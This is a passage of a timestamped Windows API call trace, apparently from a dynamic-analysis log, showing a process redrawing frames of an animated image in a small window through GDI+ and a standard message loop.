Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x10) returned 0x0 [0154.439] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0154.440] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0154.440] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0154.440] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0154.440] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0xffffffff85010b91, x1=0, y1=0, rop=0xcc0020) returned 1 [0154.440] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0154.440] GdipReleaseDC (graphics=0x1de4fd10, hdc=0xffffffff85010b91) returned 0x0 [0154.440] SelectObject (hdc=0xffffffff85010b91, h=0x185000f) returned 0x1a05067e [0154.440] DeleteDC (hdc=0xffffffff85010b91) returned 1 [0154.440] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0154.440] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0154.440] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0154.440] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0154.441] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0154.441] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0154.441] WaitMessage () returned 1 [0154.647] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0154.647] IsWindowUnicode (hWnd=0x2031e) returned 1 [0154.647] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0154.647] TranslateMessage (lpMsg=0x15e910) returned 0 [0154.647] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0154.647] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0154.647] GetCurrentThreadId () returned 0xec0 [0154.647] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0154.647] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0154.647] IsWindowUnicode (hWnd=0x2031e) returned 1 [0154.647] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0154.647] TranslateMessage (lpMsg=0x15e910) returned 0 [0154.647] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0154.647] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0154.647] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0154.648] CreateCompatibleDC (hdc=0x3010b83) returned 0x510101be [0154.648] SelectObject (hdc=0x510101be, h=0x1a05067e) returned 0x185000f [0154.648] GdipCreateFromHDC (hdc=0x510101be, graphics=0x15daf0) returned 0x0 [0154.648] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0154.648] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0154.648] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0154.648] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0154.648] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0154.648] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0154.648] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0154.649] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0154.649] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0154.649] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0154.649] GdipCreateRegion (region=0x15dc20) returned 0x0 [0154.649] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0154.649] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0154.649] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0154.649] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0154.649] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.649] GetSystemMetrics (nIndex=42) returned 0 [0154.649] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0154.650] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0154.650] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0154.650] CoTaskMemFree (pv=0x1e91eca0) [0154.650] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0154.650] GdipCreateRegion (region=0x15d710) returned 0x0 [0154.650] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0154.650] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0154.650] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0154.650] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0154.650] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0154.650] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0154.651] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0154.651] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0154.651] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0154.651] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0154.651] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0154.651] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0154.651] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0154.652] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0154.652] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0154.652] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0154.652] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0154.652] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0154.652] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0154.652] GetCurrentObject (hdc=0x510101be, type=0x1) returned 0x1b00017 [0154.652] GetCurrentObject (hdc=0x510101be, type=0x2) returned 0x1900010 [0154.652] GetCurrentObject (hdc=0x510101be, type=0x7) returned 0x1a05067e [0154.652] GetCurrentObject (hdc=0x510101be, type=0x6) returned 0x18a002e [0154.652] SaveDC (hdc=0x510101be) returned 1 [0154.653] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x60407c3 [0154.653] GetClipRgn (hdc=0x510101be, hrgn=0x60407c3) returned 0 [0154.653] SelectClipRgn (hdc=0x510101be, hrgn=0xffffffffd6040b8a) returned 2 [0154.653] DeleteObject (ho=0x60407c3) returned 1 [0154.653] DeleteObject (ho=0xffffffffd6040b8a) returned 1 [0154.653] OffsetViewportOrgEx (in: hdc=0x510101be, x=0, y=0, lppt=0x2708c50 | out: lppt=0x2708c50) returned 1 [0154.653] GetNearestColor (hdc=0x510101be, color=0xffffff) returned 0xffffff [0154.653] CreateSolidBrush (color=0xffffff) returned 0xffffffffde100190 [0154.653] FillRect (hDC=0x510101be, lprc=0x15d7c0, hbr=0xffffffffde100190) returned 1 [0154.653] DeleteObject (ho=0xffffffffde100190) returned 1 [0154.653] RestoreDC (hdc=0x510101be, nSavedDC=-1) returned 1 [0154.654] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0154.654] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x510101be) returned 0x0 [0154.654] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffc2a0dbd) returned 0x0 [0154.654] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0154.654] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0154.654] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0154.654] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.654] GetSystemMetrics (nIndex=42) returned 0 [0154.654] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0154.654] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0154.654] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0154.654] CoTaskMemFree (pv=0x1e91eca0) [0154.654] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0154.654] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0154.654] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0154.655] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0154.655] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x510101be, x1=0, y1=0, rop=0xcc0020) returned 1 [0154.655] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0154.655] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x510101be) returned 0x0 [0154.655] SelectObject (hdc=0x510101be, h=0x185000f) returned 0x1a05067e [0154.655] DeleteDC (hdc=0x510101be) returned 1 [0154.655] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0154.655] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0154.655] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0154.656] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0154.656] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0154.656] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0154.656] WaitMessage () returned 1 [0154.892] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0154.892] IsWindowUnicode (hWnd=0x2031e) returned 1 [0154.892] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0154.892] TranslateMessage (lpMsg=0x15e910) returned 0 [0154.893] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0154.893] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0154.893] GetCurrentThreadId () returned 0xec0 [0154.893] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0154.893] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0154.893] IsWindowUnicode (hWnd=0x2031e) returned 1 [0154.893] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0154.893] TranslateMessage (lpMsg=0x15e910) returned 0 [0154.893] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0154.893] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0154.893] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0154.894] CreateCompatibleDC (hdc=0x3010b83) returned 0xffffffff91010b82 [0154.894] SelectObject (hdc=0xffffffff91010b82, h=0x1a05067e) returned 0x185000f [0154.894] GdipCreateFromHDC (hdc=0xffffffff91010b82, graphics=0x15daf0) returned 0x0 [0154.894] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0154.894] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0154.894] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0154.894] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0154.894] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0154.894] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0154.894] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0154.895] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0154.895] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0154.895] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0154.895] GdipCreateRegion (region=0x15dc20) returned 0x0 [0154.895] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0154.895] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0154.895] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0154.895] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0154.895] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.895] GetSystemMetrics (nIndex=42) returned 0 [0154.896] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0154.896] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0154.896] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0154.896] CoTaskMemFree (pv=0x1e91eca0) [0154.896] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0154.896] GdipCreateRegion (region=0x15d710) returned 0x0 [0154.896] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0154.896] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0154.896] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0154.896] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0154.896] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0154.896] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0154.897] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0154.897] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0154.897] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0154.897] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0154.898] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0154.898] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0154.898] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0154.898] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0154.898] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0154.898] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0154.898] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0154.898] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0154.898] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0154.898] GetCurrentObject (hdc=0xffffffff91010b82, type=0x1) returned 0x1b00017 [0154.898] GetCurrentObject (hdc=0xffffffff91010b82, type=0x2) returned 0x1900010 [0154.898] GetCurrentObject (hdc=0xffffffff91010b82, type=0x7) returned 0x1a05067e [0154.898] GetCurrentObject (hdc=0xffffffff91010b82, type=0x6) returned 0x18a002e [0154.898] SaveDC (hdc=0xffffffff91010b82) returned 1 [0154.899] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffffd7040b8a [0154.899] GetClipRgn (hdc=0xffffffff91010b82, hrgn=0xffffffffd7040b8a) returned 0 [0154.899] SelectClipRgn (hdc=0xffffffff91010b82, hrgn=0x70407c3) returned 2 [0154.899] DeleteObject (ho=0xffffffffd7040b8a) returned 1 [0154.899] DeleteObject (ho=0x70407c3) returned 1 [0154.899] OffsetViewportOrgEx (in: hdc=0xffffffff91010b82, x=0, y=0, lppt=0x2709588 | out: lppt=0x2709588) returned 1 [0154.899] GetNearestColor (hdc=0xffffffff91010b82, color=0xffffff) returned 0xffffff [0154.899] CreateSolidBrush (color=0xffffff) returned 0xffffffffdf100190 [0154.899] FillRect (hDC=0xffffffff91010b82, lprc=0x15d7c0, hbr=0xffffffffdf100190) returned 1 [0154.899] DeleteObject (ho=0xffffffffdf100190) returned 1 [0154.899] RestoreDC (hdc=0xffffffff91010b82, nSavedDC=-1) returned 1 [0154.899] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0154.900] GdipReleaseDC (graphics=0x1de4fd10, hdc=0xffffffff91010b82) returned 0x0 [0154.900] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffc280dbd) returned 0x0 [0154.900] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0154.900] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0154.900] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0154.900] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.900] GetSystemMetrics (nIndex=42) returned 0 [0154.900] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0154.900] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0154.900] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0154.900] CoTaskMemFree (pv=0x1e91eca0) [0154.900] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x12) returned 0x0 [0154.902] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0154.902] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0154.902] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0154.902] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0154.902] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0xffffffff91010b82, x1=0, y1=0, rop=0xcc0020) returned 1 [0154.902] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0154.902] GdipReleaseDC (graphics=0x1de4fd10, hdc=0xffffffff91010b82) returned 0x0 [0154.902] SelectObject (hdc=0xffffffff91010b82, h=0x185000f) returned 0x1a05067e [0154.902] DeleteDC (hdc=0xffffffff91010b82) returned 1 [0154.903] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0154.903] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0154.903] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0154.903] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0154.903] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0154.903] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0154.903] WaitMessage () returned 1 [0155.068] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0155.068] IsWindowUnicode (hWnd=0x2031e) returned 1 [0155.068] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0155.068] TranslateMessage (lpMsg=0x15e910) returned 0 [0155.068] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0155.069] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0155.069] GetCurrentThreadId () returned 0xec0 [0155.069] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0155.069] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0155.069] IsWindowUnicode (hWnd=0x2031e) returned 1 [0155.069] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0155.069] TranslateMessage (lpMsg=0x15e910) returned 0 [0155.069] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0155.069] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0155.069] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0155.069] CreateCompatibleDC (hdc=0x3010b83) returned 0xffffffff92010b82 [0155.069] SelectObject (hdc=0xffffffff92010b82, h=0x1a05067e) returned 0x185000f [0155.069] GdipCreateFromHDC (hdc=0xffffffff92010b82, graphics=0x15daf0) returned 0x0 [0155.070] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0155.070] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0155.070] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0155.070] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0155.070] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0155.070] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0155.070] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0155.071] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0155.071] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0155.071] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0155.071] GdipCreateRegion (region=0x15dc20) returned 0x0 [0155.071] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0155.071] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0155.071] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0155.071] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0155.071] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0155.071] GetSystemMetrics (nIndex=42) returned 0 [0155.072] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0155.072] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0155.072] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0155.072] CoTaskMemFree (pv=0x1e91eca0) [0155.072] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0155.072] GdipCreateRegion (region=0x15d710) returned 0x0 [0155.072] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0155.072] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0155.072] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0155.073] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0155.073] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0155.073] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0155.073] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0155.073] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0155.073] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0155.073] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0155.074] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0155.074] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0155.074] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0155.074] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0155.074] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0155.074] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0155.074] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0155.074] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0155.074] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0155.075] GetCurrentObject (hdc=0xffffffff92010b82, type=0x1) returned 0x1b00017 [0155.075] GetCurrentObject (hdc=0xffffffff92010b82, type=0x2) returned 0x1900010 [0155.075] GetCurrentObject (hdc=0xffffffff92010b82, type=0x7) returned 0x1a05067e [0155.075] GetCurrentObject (hdc=0xffffffff92010b82, type=0x6) returned 0x18a002e [0155.075] SaveDC (hdc=0xffffffff92010b82) returned 1 [0155.075] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x80407c3 [0155.075] GetClipRgn (hdc=0xffffffff92010b82, hrgn=0x80407c3) returned 0 [0155.075] SelectClipRgn (hdc=0xffffffff92010b82, hrgn=0xffffffffd8040b8a) returned 2 [0155.075] DeleteObject (ho=0x80407c3) returned 1 [0155.075] DeleteObject (ho=0xffffffffd8040b8a) returned 1 [0155.075] OffsetViewportOrgEx (in: hdc=0xffffffff92010b82, x=0, y=0, lppt=0x270a870 | out: lppt=0x270a870) returned 1 [0155.075] GetNearestColor (hdc=0xffffffff92010b82, color=0xffffff) returned 0xffffff [0155.076] CreateSolidBrush (color=0xffffff) returned 0xffffffffe0100190 [0155.076] FillRect (hDC=0xffffffff92010b82, lprc=0x15d7c0, hbr=0xffffffffe0100190) returned 1 [0155.076] DeleteObject (ho=0xffffffffe0100190) returned 1 [0155.076] RestoreDC (hdc=0xffffffff92010b82, nSavedDC=-1) returned 1 [0155.076] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0155.076] GdipReleaseDC (graphics=0x1de4fd10, hdc=0xffffffff92010b82) returned 0x0 [0155.076] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffc260dbd) returned 0x0 [0155.076] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0155.076] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0155.076] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0155.076] CallWindowProcW 